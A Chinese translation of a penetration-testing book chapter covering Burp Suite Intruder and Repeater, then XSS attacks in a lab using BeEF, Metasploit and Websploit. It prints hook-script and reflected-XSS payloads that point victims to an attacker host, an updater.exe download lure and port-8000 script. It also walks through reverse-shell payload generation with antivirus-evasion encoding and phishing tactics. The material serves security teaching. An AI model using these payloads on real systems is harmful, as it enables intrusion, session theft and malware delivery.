在这些字段中,任何东西都可以开始,我们只需要看到请求!

代理选项卡和HTTP 历史子选项卡中,我可以看到我的请求,包括我在点击发送之前填写的胡言乱语。我可以右键单击此请求(如下图所示)并单击发送到 Intruder进行严肃的列举功夫:

让我们将此请求发送到 Intruder 进行列举的精彩表现。

我们应该看到Intruder选项卡的名称变成橙色-这意味着一个新的 Intruder 请求已经排队准备好行动!在第一个选项卡(未显示)中,我们可以看到服务器的 IP 地址和端口已经填好。转到位置子选项卡,您将选择狙击手模式;然后清除所有字段(Intruder,尽管可能很有帮助,但是想要自愿猜测所有的位置),然后只选择用户名的胡言乱语,然后点击添加,如下面的截图所示。您会注意到,您添加的任何字段现在都会在每个位置的开头和结尾添加§asdf现在读作§asdf§),并用橙色突出显示。如果我们要尝试对漏洞扫描进行模糊测试,我们将选择一个适合的位置(类似于 cookie 信息、POST 页面名称等)。这将给我们一个位置,我们可以对其应用有效负载。如果我们想要暴力破解凭据,我们可以添加第二个字段(密码),从而有两个位置可以应用有效负载。相当聪明,对吧?

那么,这个模式到底是什么意思呢?嗯,这里是一个快速摘要:

  • Sniper:**使用单一的有效负载集,Intruder 依次插入每个位置,并报告结果。这对于简单的猜测游戏或单一字段的关注非常有用。

  • Battering ram:**这使用单一的有效负载集,但同时将相同的有效负载应用到多个字段。这是我们在处理某些头部位置(如 cookies)时的首选模式。

  • Pitchfork:**稍后的模糊攻击可能会让我们拥有相关信息,但需要同时将匹配的集合应用到多个字段。Pitchfork 允许我们将这些匹配的集合(如凭据对、用户名和 ID 号等)发送到它们各自的字段。

  • Cluster bomb:**与 Pitchfork 不同,cluster bomb 在每个相关字段的所有组合中迭代多个有效负载集。因此,如果您需要尝试一个用户名与一个 ID 列表,以及另一个与所有这些相同的 ID,那么这就是适合您的模式!

有效负载位置确定了我们希望 Intruder 进行模糊测试的区域

现在,我们可以按照下面的截图进入有效负载子选项卡,这样我们就可以决定如何在每个请求中改变每个位置。从字段类型的下拉列表中,我们会选择简单列表,然后我们可以从从列表中添加下拉菜单中选择用户名。关于这些的更多信息可以在portswigger.net/burp/help/intruder_payloads_types.html的出色 Burp Suite 文档中找到。

在密码或用户名模糊测试中,社会工程学和 OSINT 可以为您节省大量时间,而不是使用密码列表。

有效负载可以生成,从文件中提取,或手动输入。

现在,我们将看到所有这些的结果。结果选项卡将显示每次迭代的情况,可以根据有效负载本身进行排序,但最有用的是根据状态类型(标准 web 状态)或响应的长度进行排序,这两者都可以帮助识别任何我们应该更仔细查看的奇怪行为。下面截图中的示例显示用户列表相当平淡,这意味着我们需要寻找非标准的用户名或创建更复杂或定制的列表来枚举用户。

在这次 Intruder 运行中,只有一个事件突出显示出来-这是开始探索的好地方!

选择,攻击,突出显示,然后重复!

本章我们将讨论的最后一个工具是 Burp Suite 的Repeater工具,其中 Intruder 允许您专注于一个或多个字段并应用特定的有效负载集。Repeater 更专注于应用字段修改以进行输入验证检查,甚至可以以不同顺序重放请求以测试业务逻辑。

Repeater 是套件中其他工具的很好的补充工具,就像其他工具一样,可以通过右键单击并选择发送到 Repeater选项来调用,这将自动产生一个Repeater任务选项卡(查看下面的屏幕截图)并预先配置所有基本设置。

Repeater 允许我们对我们捕获的请求进行操作。

一旦我们得到了我们的消息,我们就可以决定如何修改每次迭代中的任何或所有字段,然后修改这些部署的顺序,如下面的屏幕截图所示。

Repeater 给了我们精细的控制,可以按任何顺序排队任何组合的变量。

Repeater 实际上非常简单。但是,制定我们自己的事件重放的能力将在以后的基于业务逻辑的攻击中非常有帮助,我们将在后面的章节中讨论这些内容。

摘要


OWASP 的 ZAP 工具和 Burp Suite 构成了许多 Web 应用程序安全测试方法的主体,原因是充分的。基于代理的工具能够观察客户端和服务器之间的交易,而不必担心丢失会话信息的上下文。代理因此可以做外部分析无法做到的事情,即看到应用程序的端到端工作。当我们看到攻击者通常如何破坏或利用现代应用程序时,他们使用相同的技术来捕获来回的数据或插入自己的恶意意图。ZAP 和 Burp 为我们提供了一种方式来预防 MITM 方法,并全面测试应用程序抵御这些攻击。

在本章中,我们介绍了这两个软件包中使用的一些更通用的工具。我希望这种对基础的投资将帮助我们在后面的章节中实际完成许多更高级的任务,而不必重复这里介绍的基础知识。对于练习渗透测试人员来说,最好的方法就是练习。利用空间中许多可用的易受攻击的目标虚拟机,您可以解决问题,并确定哪些工具最适合您的风格和流程。

在下一章中,我们将实际上深入了解我们的第一个专注攻击的细节-跨站脚本(或XSS)。我们还将讨论各种形式的 XSS,它们的目标以及它们最适用的地方。我们还将看到如何使用 Burp 和一些补充工具如BeEFXSSerWebslpoitMetasploit执行这些攻击。可以合理地假设我们将做一些有趣的事情,所以紧紧抓住!

第六章:通过跨站脚本攻击渗透会话

Web 应用程序的黑客攻击是一种独特的类别。虽然与网络和系统相关的黑客攻击侧重于在这些系统上获得持久存在或以其他方式修改它们的状态,但 Web 渗透测试侧重于愚弄服务器、客户端或两者以执行攻击者的命令。当然,你可以尝试攻击这些服务器或者妥协客户端或浏览器,但如果你可以在不建立永久住所的情况下从交换中得到你想要的一切,为什么不呢?注入攻击让许多 Web 开发人员非常紧张,就像对 Web 应用程序的绝地心灵攻击一样。通过挥动你的手(不是字面上的,实际上只是键盘上的一些努力),你可以说服服务器、客户端或两者以一种它们本来不会的方式行动。这可能是为了放弃数据(正如人们相信在 Impact Team 的 Ashley Madison 黑客攻击中发生的那样)或者用恶意脚本毒害一方或双方,违背客户端和服务器之间的信任。

跨站脚本(它可以缩写为CSSXSS,但我们将使用后者以避免将此攻击与层叠样式表混淆)是你们许多人可能在实践中或通过自动化工具进行测试的一个非常深入的主题,但它是一个非常深入的主题,可能需要一本专门的书来证明。作为更广泛的注入攻击的子集,XSS 侧重于在不应该出现的地方使用 JavaScript。与广泛操纵劫持的请求和响应不同,XSS 在其中找到了插入秘密脚本的空间,否则这些脚本将无法着陆和执行。这些脚本现在对我们的目标和他们的用户来说是可信的,因为他们对彼此的信任,我们将利用这种信任关系来对付他们。

这些脚本的目的可以大不相同,但许多用途包括暴露 cookie 和会话信息,允许重定向和中间人攻击,劫持一个或两个端点进行其他攻击,甚至促进敏感数据的外泄。这些特征使它们极为危险,尽管它们在过去几个周期的 OWASP 十大中排名很高,但它们仍然是一个主要问题。

XSS 有许多应用,但在本章中,我们将区分 XSS 的类型,并提供一些关于如何在测试中最好地释放它们的选项。虽然 Burp 和 ZAP 可以提供一些 XSS 攻击,但了解如何制作我们自己的攻击并使用 Kali 中其他可用的工具来帮助传递它们是有帮助的。本章将讨论各种形式的 XSS,并展示我们可以使用这种强大的攻击形式来妥协我们的目标的其他方法。

在本章中,您将学到以下内容:

  • 讨论各种形式的 XSS,如何检测它们的漏洞并利用它们

  • 探索存储(也称为持久性)XSS 攻击的工作原理以及如何利用它们

  • 使用社会工程技术理解和测试反射XSS

  • 讨论其他工具的功能,如 BeEF、XSSer、Websploit 和 Metasploit,以及它们处理每种 XSS 攻击的能力

XSS 类型的详细信息


XSS 攻击既常见又严重;在合适的地方,它们可以用于传递恶意脚本,将流量引导到替代重定向,或植入错误数据。对它们进行分类的努力为我们一些人增加了困惑。最早的分类侧重于其持久性(或缺乏持久性),但随着时间的推移,行业已经关注受影响的主机:Web 服务器或浏览客户端。OWASP 已经做了很好的工作,重新定义了这些类型,以帮助我们(渗透测试人员)为每种类型选择最佳的检测方法和利用工具。将它们联系在一起的共同点是它们都涉及用户输入被服务器中继而没有得到适当验证,这些攻击总是在浏览器中执行,无论传递方法如何。让我们回顾一下最新的分类,以便能够有效地使用它们。

XSS 应该留下还是离开?

XSS 攻击,无论发生在哪里,都可以是存储型或反射型。根据意图和受影响会话的上下文,两者都可能从恼人到严重严重不等:

  • 存储型 XSS 攻击(持久性)非常常见,攻击者伪装成合法用户的数据在呈现给其他用户之前未经适当筛选。这段代码将持续存在,直到被检测到、数据被清除,或者在 Web 服务上实施预防措施,以确保包含该代码的响应得到适当验证。实际上,该代码存储在服务器本身,如下所示:

存储型 XSS 将攻击查看请求页面的任何客户端。

  • 反射型 XSS 攻击(也称为非持久性)更加多样化,可以通过网络钓鱼活动、社会工程、中间人攻击或其他方式发起。无意中的用户通过点击带有脚本的恶意链接来发起攻击。攻击者精心制作他们的脚本,使其在受攻击的 Web 服务器的错误或搜索响应中返回或反射。因为攻击者说服用户点击嵌入脚本的链接,他们知道它将在响应中反射;可怜的客户端浏览器现在将信任该脚本,就好像它是从服务器本身发起的一样。实际上,受害者的浏览器发起了请求,如下截图所示:

反射型或非持久性 XSS 往往更专注于一组用户。

位置,位置和位置!

我们区分 XSS 类型的第二种方法是通过位置。检测方法和防御对策可以根据被攻击的连接的哪一端而大不相同:客户端还是服务器:

  • 服务器 XSS 攻击可能发生在服务器在响应客户端请求时提供恶意内容的情况下,因为在最初由另一个客户端输入时未经充分过滤或验证。这些攻击对客户端来说可能很困难,因为服务器将攻击与其 HTML 捆绑在一起,客户端的浏览器无法区分服务器的修改行为,因此忠实地呈现它,信任既定的又是植入的恶意代码。

  • 另一方面,客户端 XSS 攻击侧重于在客户端自身设施内传递恶意代码或修改。其中最流行的形式是 DOM-based XSS,它针对浏览器中页面的状态机。大多数时候,当我们谈论客户端 XSS 时,我们指的是 DOM-based XSS。DOM-based XSS 攻击是客户端 XSS 的一个子集,它们利用了动态 Web 应用程序设计。在大多数现代 Web 应用程序中,浏览器在访问网站时会构建一个可以将 HTML 解析为树状对象的文档对象模型DOM)。这种解析允许脚本语言(大多数时候我们在这里谈论 JavaScript,但其他 Web 内容如 HTML、ActiveX 和 Flash 也适用)动态修改表示树的 HTML 内容。DOM-based XSS 攻击尤其令人担忧,因为服务器可能永远不会在脚本中看到任何明显的问题。相反,服务器在不知情的情况下通过引用受害者本地的变量来帮助攻击者,而不知道这个变量是一些坏东西(比如重定向、挂钩文件等)。

注意

值得注意的是,服务器端和客户端 XSS 攻击都可以是存储型或反射型攻击。大多数值得携带的工具应该能够帮助扫描和利用大多数变种。

XSS 的目标和交付

XSS 对 Web 应用程序及其用户构成的威胁是如此严重,但实施起来却非常容易。在大多数情况下,攻击者只需要了解 HTML 和 JavaScript 的基本知识,以及一个容易受到这种攻击形式影响的目标 Web 服务器。利用这些技能,黑客可以选择要覆盖的范围有多大。我们必须警惕所有形式的注入攻击,包括 XSS,因为它们都可能在事件响应开始修复这些问题之前对应用程序造成严重破坏。

对于存储型 XSS,黑客可以覆盖范围更广,影响大量用户的恶意脚本。如果应用程序的潜在用户主要在范围内,这是很好的,而且攻击更加直接,因为不需要社会工程来植入脚本。也就是说,正因为这些原因,存储型 XSS 必须谨慎使用。没有选择哪些受害者会报告,因此攻击者需要更多的开销来区分范围内和范围外的受害者。更广泛的潜在受众也对道德黑客的适用性提出了质疑,因为从附带受损主机中捕获数据的潜力非常高,客户可能会有需要解决的担忧。这使得存储型或持久型 XSS 攻击对许多人造成了严重伤害。

反射型 XSS 在前期投入的努力是非常值得的,因为钓鱼活动、有污染的链接或其他交付手段更精确,因此限制了附带损害。这也使黑客或测试人员能够专注于受影响的目标集,并几乎可以保证收集到的数据来自感兴趣的用户。虽然受害者的潜在损害与存储型 XSS 攻击相当,但受害者是有意的,因此这使得它更安全,也更值得投入努力。

眼见为实


在向客户报告网页应用程序漏洞存在时,大多数测试报告将显示扫描结果,仅识别漏洞可能存在(识别),还会进一步展示漏洞利用成功的确认(确认)。Arachni、ZAP、Burp Suite 和其他漏洞评估工具可以帮助进行识别。其中一些工具可以协助确认,但大多数测试人员会使用独立的 XSS 工具或方法来确认,以模仿黑客利用漏洞时的行为。快速搜索您喜爱的搜索引擎会发现一些领先的候选者,但我们将讨论最受欢迎的候选者,然后看看这些老牌工具如何帮助我们对目标进行测试。

不要使用 XSSer!

在 Kali 中用于 XSS 测试的最快速、直接的工具之一是 XSSer(有时发音为“scissor”)。作为一种工具,XSSer 只有一个功能,那就是测试网页应用程序上潜在 XSS 漏洞的存在,并提供快速、无争议的验证 URL 字符串来检查它们。XSSer 是那种可以让您以最少的知识获得强大功能的稀有工具;但在经验丰富的人手中,它可以被精确地定制。

您可以将 XSSer 用作 CLI 工具,也可以使用其 GUI 包装器,这是一种通过更直观的包装器构建 CLI 查询的好方法。要在 GUI 模式下使用 XSSer,您只需在终端会话中输入以下内容:

xsser �gtk

XSSer 是一个用于运行针对网站的普通基于警报的测试脚本的良好工具,以确定它们的易受攻击性。话虽如此,我发现 XSSer 自从 2013 年发布最新版本以来就备受忽视,而这篇文章的撰写时间则是四年前,而且 Metasploit 也经历了几次修订。事实上,最新版本更适用于 Backtrack,但仍然提供了有用的向导和一些教育价值。然而,针对特定目标,我发现与更现代的工具相比,它既存在 bug 又应用受限。它值得一看,但我建议集中精力研究一些更全面的工具,比如 BeEF 和 Metasploit。

BeEF 中的存储型 XSS

浏览器利用框架(BeEF,网址为beefproject.com)是我们在《使用树莓派进行渗透测试,第二版》中讨论过的工具,我们在那里讨论了它作为蜜罐或恶意网络服务器的一般用途。这些相同的功能使 BeEF 成为传递和随后管理各种 XSS 攻击的绝佳工具。BeEF 之所以强大,是因为它利用互联网浏览器中的单个钩子脚本进行攻击,由于 Web 服务器中的 XSS 漏洞,它可以规避大多数更偏执或训练有素的受害者采用的控制。除了完全阻止各种 HTML 数据类型之外,一个完美配置的客户端仍然可以运行,因为攻击者利用的是受害者的信任关系。

BeEF 在钩住受害者后,能够评估浏览器和操作系统组合的固有漏洞。根据这些发现,BeEF 提供了一系列可以启动的命令模块,例如截取屏幕截图、抓取凭据或外泄 cookie,甚至触发蜂鸣声。被钩住的系统只能在在线时访问。但是,一旦被钩住,BeEF 可以跟踪系统何时建立互联网连接,以继续对该系统发出命令。非常巧妙,也非常可怕!

为了展示这一点并帮助理解存储型 XSS 攻击的威力,我们将使用 BeEF 钩子脚本并将客户端指向我们 Kali 机器上的 BeEF 实例。下图显示了我们的测试场景,其中配置了以下内容:

  • 攻击者的机器:Kali 虚拟机正在运行一个 BeEF 服务器,监听所有接口(172.16.30.128 是外部 IP 地址)

  • Web 服务器/应用程序:OWASP BWA 虚拟机,特别是 Mutillidae Web 应用程序

  • 客户端:运行 Internet Explorer 10 的 Windows 7 虚拟机(评估副本)

攻击者可以在被钩住的受害者继续使用互联网的同时,从 Kali/BeEF 控制端远程执行命令模块,通常对被攻击者毫不知情。在实际攻击或黑盒攻击中,黑客往往会部署一个临时的 Kali 或类似的机器实例,并将其伪装在几层混淆(VPN、TOR、代理等)之后,以充当攻击机器,并使目标服务器上的归因或检测更加困难。无论攻击机器的位置如何,在存储型 XSS 中,易受攻击的服务器将继续帮助我们钩住我们的猎物。

我们的 BeEF 存储型 XSS 场景

我们可以首先从 GUI 应用程序菜单、Favorites栏或通过导航到 BeEF 目录(cd /usr/share/beef-xss)然后使用./beef运行beef脚本来启动 BeEF-XSS。当它启动时,Terminal会话将向我们显示用户界面的一般 URL(红色的UI URL)和我们想要用来钩住猎物的脚本(蓝色的Hook),如下所示:

BeEF 的启动过程告诉我们如何管理实例以及如何钩住浏览器。

BeEF 将自动启动一个浏览器会话,您可以使用beef的用户名和密码登录。当它首次启动时,在线和离线浏览器列表将为空。我们将打开一个新标签并以攻击者的身份访问Mutillidae Web Application,在那里我们可以在一个肯定会被可怜的受害者看到的字段中输入我们的钩子脚本(OWASP 2013 | A3 - 跨站脚本(XSS) | 持久(二次顺序) | 添加到您的博客),如下所示:

Mutillidae 提供了一些我们可以用于存储型 XSS 的模拟表单。

我们将看到一个博客条目表单,在其中我们可以放置我们的钩子脚本(<script src="img/hook.js"></script>),然后点击Save Blog Entry按钮(如下图所示):

在 Web 应用的博客功能上种植我们的钩子脚本。

好的,让我们换个角色,打开我们那可怜的、毫无戒备的运行 IE 10 的 Windows 7 虚拟机!在 Windows 虚拟机上,我们将作为观察者访问博客 - 这里没有什么疯狂的。只需按照OWASP 2013 | A3 - 跨站脚本(XSS) | 持久(二次顺序) | 查看某人的博客的路径,如下图所示,我们将要查看所有用户的输入。页面将显示我们所有的条目,包括我们匿名用户的包含脚本的输入。我们知道博客页面是易受攻击的,因为我们在第五章中看到它被识别为潜在的具有 XSS 脚本漏洞的测试(如下图所示)。在这里,我们知道服务器在将这些条目回显给后续受害者的响应之前没有验证这些条目的内容。

从受害者网站浏览受影响的博客。

一旦我们导航到博客视图(如下图所示),我们将看到一个空白空间,匿名用户显然没有输入任何内容。此时,他们没有理由相信自己已经被黑客入侵或者暴露于恶意的 XSS 攻击。

所有那些被浪费的潜力(脚本隐藏)都在一个非常棒的博客中。

我们的 Kali 盒子知道得更多;查看我们的 BeEF-XSS 框架的控制 UI,我们可以看到运行 IE 10 的 Windows 7 盒子已经签到并报到。因为浏览器在宣布它们可以和不能支持的方面非常有帮助,BeEF 对于我们刚刚钩住的受害者可以实现哪些黑客和技巧有一个很好的想法,在下面的截图中,我们看到我已经搜索了与cookie相关的命令,从Module TreeBrowser | Hooked Domain部分中选择了Get Cookie,并运行它以获取受害者浏览器和 Mutillidae Web 服务器之间正在使用的会话 Cookie。除了证明存在 XSS 漏洞之外,我们还可以使用其他有用的攻击,这些攻击可以帮助我们抓取社交媒体登录状态、安装的软件、浏览历史以及其他任何可以帮助我们更好地描述目标环境的东西。

BeEF 附带了近 200 个模块,帮助我们将浏览器变成我们的扩展!

请记住,我们来这里是为了对 Web 应用进行渗透测试,而不是用户和整个环境。除非您还有红队类型的宪章,否则请避免在任何 Web 应用程序特定数据之外拉取任何内容。

这里,鱼鱼!

反射型 XSS 攻击遵循类似的故事,只是用户被雇用来通过欺骗他们传递脚本来帮助自己进行黑客攻击。攻击者的钓鱼或链接放置取代了基于表单的利用,确实需要一些工作。钓鱼涉及向潜在目标发送一个诱饵电子邮件或网页,希望他们相信他们的意图,并单击其中一个嵌入其中的恶意链接。钓鱼通常可以用于其他攻击(简单地重定向到钓鱼网站仍然非常流行),但将有针对性的垃圾邮件与使用合法站点的重定向结合起来,但使用恶意脚本,可能会非常恶劣。话虽如此,让我们讨论一些攻击者和我们渗透测试人员需要考虑的内容。

构建目标列表可能需要大量工作;事实上,目标列表是暗网黑客网站上的一项热门服务。在渗透测试中,使用诸如浏览器、Maltego 或社交媒体等工具进行 OSINT 和社会工程可以挽救一天,让我们能够利用收集到的信息来帮助我们评估我们追踪的是谁。在我们的测试中,应该考虑 IT 人员,所谓的C-suite高管(特别是首席信息官CIO)、首席信息安全官CISO)和任何其他与安全、运营、架构或应用开发相关的技术职位),以及与站点相关的任何其他人员。

注意

像俄罗斯黑客 2014 年对in.yahoo.com/?p=us进行的大规模黑客攻击(www.justice.gov/opa/press-release/file/948201/download)通常始于对已知员工的小规模钓鱼攻击,以及他们收到电子邮件的可信原因。在这种情况下,这些信息被用来帮助伪造 Cookie 并窃取超过 5 亿个帐户的访问权限。这对我们中的许多人来说并不好玩。

攻击者随后需要一个愿意的邮件中继或服务器,以允许将诱饵大规模发送给他们的目标。有一些服务是供雇佣的坏人使用的(例如,臭名昭著的垃圾邮件发送服务,如 Send-Safe),或者他们可能选择在合法基础设施上部署垃圾邮件机器人,或者更糟糕的是,攻击一个 Web 服务器,并将其变成基于 PHP 的电子邮件服务器或网关。最后一种方法特别恶劣,因为如果他们能够攻击目标公司的网络邮件服务,他们可以像完全合法一样运作。

现在,我们只需要诱饵!通过链接进行基于钓鱼的交付有助于限制不需要的目标获取,并且比其他引诱反射型 XSS 的方法(例如蜜罐网站和 MITM(使用 SET 等工具,见第三章*,通过目标侦察跟踪猎物))更容易脱离归因和附带损害。下面的截图显示了一个示例:

用于测试员工的样本钓饵。这里的每个链接都有可能被污染。

注意

页面或电子邮件中的超链接、图形或任何交互式内容都可能成为有用的诱饵,当攻击特定的人或团队时,您在社交媒体上的努力将对您的成功率产生巨大影响。

让我们开始 Metasploiting

到目前为止,我们在本书中使用的许多工具都专注于 Web 应用程序,并且在评估网站可能存在的漏洞方面非常有用。在所有渗透测试领域中使用的更通用的工具之一,Metasploit (www.metasploit.com),实际上提供了一些针对许多顶级 Web 应用程序漏洞的测试的巨大价值,包括 XSS。Metasploit 可能不需要介绍;很有可能您正在将其作为工作流程或方法论的重要部分。也就是说,它是一个框架,包含各种可扩展的侦察和扫描模块,用于填充主机和相应漏洞的数据库。这个数据库允许 Metasploit 进入利用阶段,其中可以主动启动利用或在某些情况下将其捆绑到用于基于文件的传递的有效载荷中。围绕 Metasploit 的社区非常活跃,实际上已经制作了数百个插件和模块,使 Metasploit 成为每个人最喜欢的基础渗透测试工具。

构建您自己的有效载荷

在您的设备上使用 BeEF 甚至标准的 Web 服务器设施,您可以使用 Metasploit 的meterpreter功能来帮助您获得对受影响主机的 shell 访问权限。Meterpreter 是 Metasploit 可以传递到客户端的有效载荷,它可以在动态链接库DLLs)中工作,以建立安全的隐秘通道,用于黑客与目标之间的通信;它为黑客提供了一个基于 Ruby 的 shell,可以用来执行黑客的命令。我们为什么要这样做?在攻击 Web 应用程序时,通过客户端环境的横向移动可以帮助我们真正获得立足点,compromise 受信任的主机,并找到我们可以用来运行补充任务的相邻服务器,比如邮件服务器,域控制器等。反射型 XSS 攻击是传递此脚本的绝佳方式。用户现在对附件非常警惕(花了他们很长时间!),因此将我们的 hook 文件和有效载荷混入一个不可见的脚本中,为我们提供了一个很好的方式来访问经过良好训练的受害者计算机。

为了做到这一点,我们将创建一个有效载荷,对其进行编码,以绕过传统的安全防御,将其托管在我们控制下的服务器上,然后围绕它编写一个脚本,用于 XSS,如下面截图所示。在这里同样适用社会工程学方法,但这给了我们另一种方式来 compromise 主机。浏览器控制很好,但 shell 访问更好!

我们可以使用 Metasploit 作为我们的 C2 头端,甚至制作自定义有效载荷。

我们首先启动 Metasploit Framework 的msfconsole,并选择我们选择的有效载荷,这种情况下是 Meterpreter Reverse TCP 有效载荷。我们可以通过在msf提示符中输入use payload/windows/shell/reverse_tcp命令来实现这一点。quick show选项将帮助我们查看可以配置的内容,如下面的截图所示。与一般的利用一样,我们可以使用show options查看有效载荷的选项,并使用-h查看命令,以指导我们完成整个操作:

创建有效载荷的初始阶段-设置选项..

Metasploit 可以为攻击生成不同的文件格式。它还可以确保某些字节不被使用(x00是一个普遍不可接受的字节,所以我们会将其去掉)。有效载荷工具还可以执行以下操作:

  • 它可以填充或附加额外的字节(-s添加 NOP 滑块)

  • 它可以使用除默认的 Ruby 之外的其他编程语言(例如-t java-t c

  • 它可以应用编码器(显示编码器以查看它们,-e <编码器>更改编码器)

  • 它可以迭代并编码多次(-I <迭代次数>

所有这些都帮助 Metasploit 隐藏和模糊有效载荷,以成功逃避典型基于签名的反病毒程序。看到这是多么容易,人们就能理解为什么传统的防病毒产品无法抵御这些新的、变形的威胁。

注意

签名检测寻找攻击中的特定特征。如果发现您的攻击不起作用,请尝试以另一种方式对其进行编码,然后再次发送。在许多情况下,添加足够的填充、调整或其他操作将绕过检测,因为现在它看起来像一个新文件。其他技术包括将文件分成较小的文件或加密。

我们有很多选项可以修改和定制我们自己的有效载荷。现在,让我们省略x00字节,迭代 3 次,并将其导出为一个可执行文件供我们使用,如下图所示。

Metasploit 有效载荷生成可以定制代码,可以练习绕过任何东西。

在我们的桌面上,现在有一个闪亮的新.exe,它将在 Windows 平台上运行并执行。现在社会工程学就派上用场了,这意味着我们可以将这个可执行文件命名为用户期望安装的内容,并将其包含在社会工程活动中。如果我们能说服 Windows 用户安装它,我们将获得对该系统的具有根访问权限的后门,假设一切都按预期运行。这个概念对于本章后面呈现的其他攻击示例可能会有用,我们的自定义恶意软件有效载荷可以发挥作用。

注意

我们选择交付方式故意平淡,取决于您打算的目标上的限制,您可能不得不放弃整洁的可执行方法,而选择更隐秘的路径,比如一个 Java 或 Python 脚本,以某种方式避免触发 Windows用户访问控制UAC)或其他可能存在的看门狗。我也在 msfconsole 视图中完成了所有这些操作,因为我倾向于在那里花更多的时间。如果您发现自己启动 Metasploit 是为了创建有效载荷,您可以选择使用msfvenom

每个良好的有效载荷都需要一个处理程序

我们的有效载荷在执行时需要有东西可以交流,以防它感到孤独或难以控制。在 Metasploit 中,这个功能由处理程序提供。我们可以简单地为我们传递的有效载荷类型创建一个处理程序,这样做可以确保当我们访问系统时,我们在那里并且能够利用它。处理程序充当我们与目标的命令和控制C2C&C)连接,并为我们提供一个可以无限制地操纵目标的 shell 环境(如下图所示):

为我们的有效载荷设置处理程序。

通过快速的exploit命令,我们现在正在运行并准备接受来自我们新受害者的流量。现在,处理程序已经准备好,您的目标已经确定;这两个孩子应该见面了!现在,如果我有办法让用户相信我的文件就好了。嗯...

敲定交易-提供 shell 访问

让我们将可执行文件放在 Kali VM 上一个快速而简单的 Apache web 服务器的默认文件夹中,并制作一个脚本发送给潜在目标,以传递一个反射的 XSS JavaScript,现在将受害者的浏览器指向下载可执行文件。

这就是它的样子:

http://172.16.30.129/mutillidae/index.php?page=user-info.php&username= <script>window.onload = function() {var AllLinks=document.getElementsByTagName("a");  AllLinks[0].href = "http://172.16.30.128/updater.exe"; }</script>

当我们将这个快速而肮脏的电子邮件发送到我的 Windows 7 虚拟机上,我们可以假设用户有超过 50%的机会看到updater.exe文件名,并将其与我信任的网络应用程序相关联,然后执行。在我们的 Kali 终端会话中观察到这一情况,我们得到了一个好消息,他们已经相遇并且现在联系上了!Meterpreter 现在作为我们的提示符,一个快速的dir命令显示了我们正在运行的目录的内容(如下图所示)。很明显,我们现在已经进入了 Windows 机器的内部;但是我们可以从这里做些什么呢?

恭喜,我们现在有了远程 shell 访问!

Meterpreter 非常强大;有了这个访问权限,你现在可以在不被对方知晓的情况下管理受害者的计算机。以下是在我们的网络应用程序渗透测试中可能有用的一些东西:

  • 转储哈希并操纵或窃取 cookie

  • 秘密或公开地使用系统网络摄像头和麦克风

  • 进行键盘记录

  • 上传、下载、编辑、删除、创建、移动和搜索文件和目录

  • 杀死或生成进程,修改注册表,或关闭/重新启动/休眠机器

  • 查看网络和代理配置并配置端口转发

  • 查看系统和用户信息并提升权限

总的来说,这是一些可怕的东西,应该清楚地认识到网络应用程序有责任确保他们不会让他们的用户陷入这种境地。

如果我们遇到更新的浏览器或者更加防御严密的主机,这种简单的基于 exe 的利用可能不会有太大作用。通过更高级的 Metasploit 功能、创造性的有效负载,甚至是无文件利用的熟练使用,这些防御措施通常可以被规避。

Metasploit 的以网络为焦点的表亲——Websploit

Metasploit 的扫描和利用能力范围令人震惊,通过插件和模块的开放扩展,它获得了当之无愧的多功能和强大的声誉。然而,有时你可能在寻找一个网络应用程序的焦点,这就是一个名为Websploitsourceforge.net/p/websploit/wiki/Home/)的类似开源框架发挥作用的地方。就像 Metasploit 一样,它提供了一个以命令行为重点的方法来调用和加载模块。它还共享了通过插件和模块的可扩展性,这些都帮助 Metasploit 保持在渗透测试工具的前沿,但它不是一个全包套件,它专注于我们作为网络渗透测试人员和道德黑客所特有的许多漏洞。

从他们的 Wiki 中列出的模块和插件清单可以很清楚地看出它的目的:

  • Autopwn:这是从 Metasploit 借来的,用于扫描和利用目标服务/服务器

  • wmap:这可以扫描或爬取从 Metasploit wmap插件借来的目标

  • 格式感染器:将反向和 BIND 有效负载注入文件格式

  • Phpmyadmin:搜索目标的phpmyadmin登录页面

  • lfi:这可以扫描和绕过本地文件包含漏洞并绕过一些 WAF

  • Apache 用户:可以搜索服务器用户名目录(与 Apache web 服务器一起使用时)

  • Dir Bruter:使用单词列表对目标目录进行暴力破解

  • 管理员查找器:搜索目标的管理员和登录页面

  • MLITM 攻击:中间人攻击,XSS 钓鱼攻击

  • MITM:中间人攻击

  • Java 小程序攻击:Java 签名小程序攻击

  • MFOD 攻击向量:毁灭之中指攻击向量

  • USB 感染攻击:为 Windows 创建可执行的后门以感染 USB

  • ARP DOS:随机 MAC 的 ARP 缓存拒绝服务攻击

  • Web killer 攻击:关闭网络上的网站(TCPKILL)

  • 假更新攻击:可以为目标操作系统创建一个假的更新页面

  • 假接入点攻击:可以创建假的接入点并窃取受害者的信息

由于本章主要讨论 XSS,DOM-based Man Left in the Middle (MLITM)攻击是我们要使用的工具,所以让我们看看如何利用这个模块。您需要下载最新版本,从 tarball 中提取出来,然后使用安装脚本。

一旦我们安装好了,我们可以简单地从终端会话中调用websploit命令,它就会启动 Websploit。从这里,我们将使用 network/mlitm。就模块而言,MLITM 工具再简单不过了。没有需要考虑的选项,因为基本上这个模块包括一个监听 Web 服务器(类似于处理程序)和一个充当默认有效载荷的 Python 模块(thebiz.py)。您当然可以制作其他有效载荷;但就像任何 XSS 攻击一样,我们的目标是将一个脚本放在用户信任的路径中,然后使用它将他们的浏览器重定向到我们的攻击服务器,从那里可以安装这个有效载荷并进行信息或操作的编排。

我在这次攻击中使用的脚本非常简单;我们希望将受害者浏览器引入我们的 C2 服务器/攻击盒,并允许运行在默认端口8000上的 Web 服务器 Websploit 传递有效载荷并建立我们的通道:

<script src=http://172.16.30.128:8000></script>

我们将其放在之前使用过的相同博客条目字段上,然后在您知道之前,我们就有了一个不幸的受害者使用了那个链接(如下面的截图所示):

脚本输入和受害者的外观 - 简单而有效。

在我们的 Kali 盒子上,我们可以看到我们正在传递有效载荷,并通过引用链接看到用户的流量,正如我们在下面的截图中开始看到的那样。从这里,您可以随意尝试有效载荷的修改,并实现其他工具中所见的一些控制。

Websploit 提供了一个简单而有效的监听和有效载荷传递服务。

Websploit 在攻击链的其他领域是一个强大的工具,并且在 AutoPwn、DoS 和其 WiFi-focused 攻击等混合攻击模块方面表现良好。对于 XSS,我发现 Metasploit 在管理有效负载和提供 shell 选项方面更具多样性。除了 Meterpreter 之外,还有十多种其他 shell 选项,具体取决于您的目标可以逃脱多少,以及所需的隐蔽性和功能性的混合。

总结


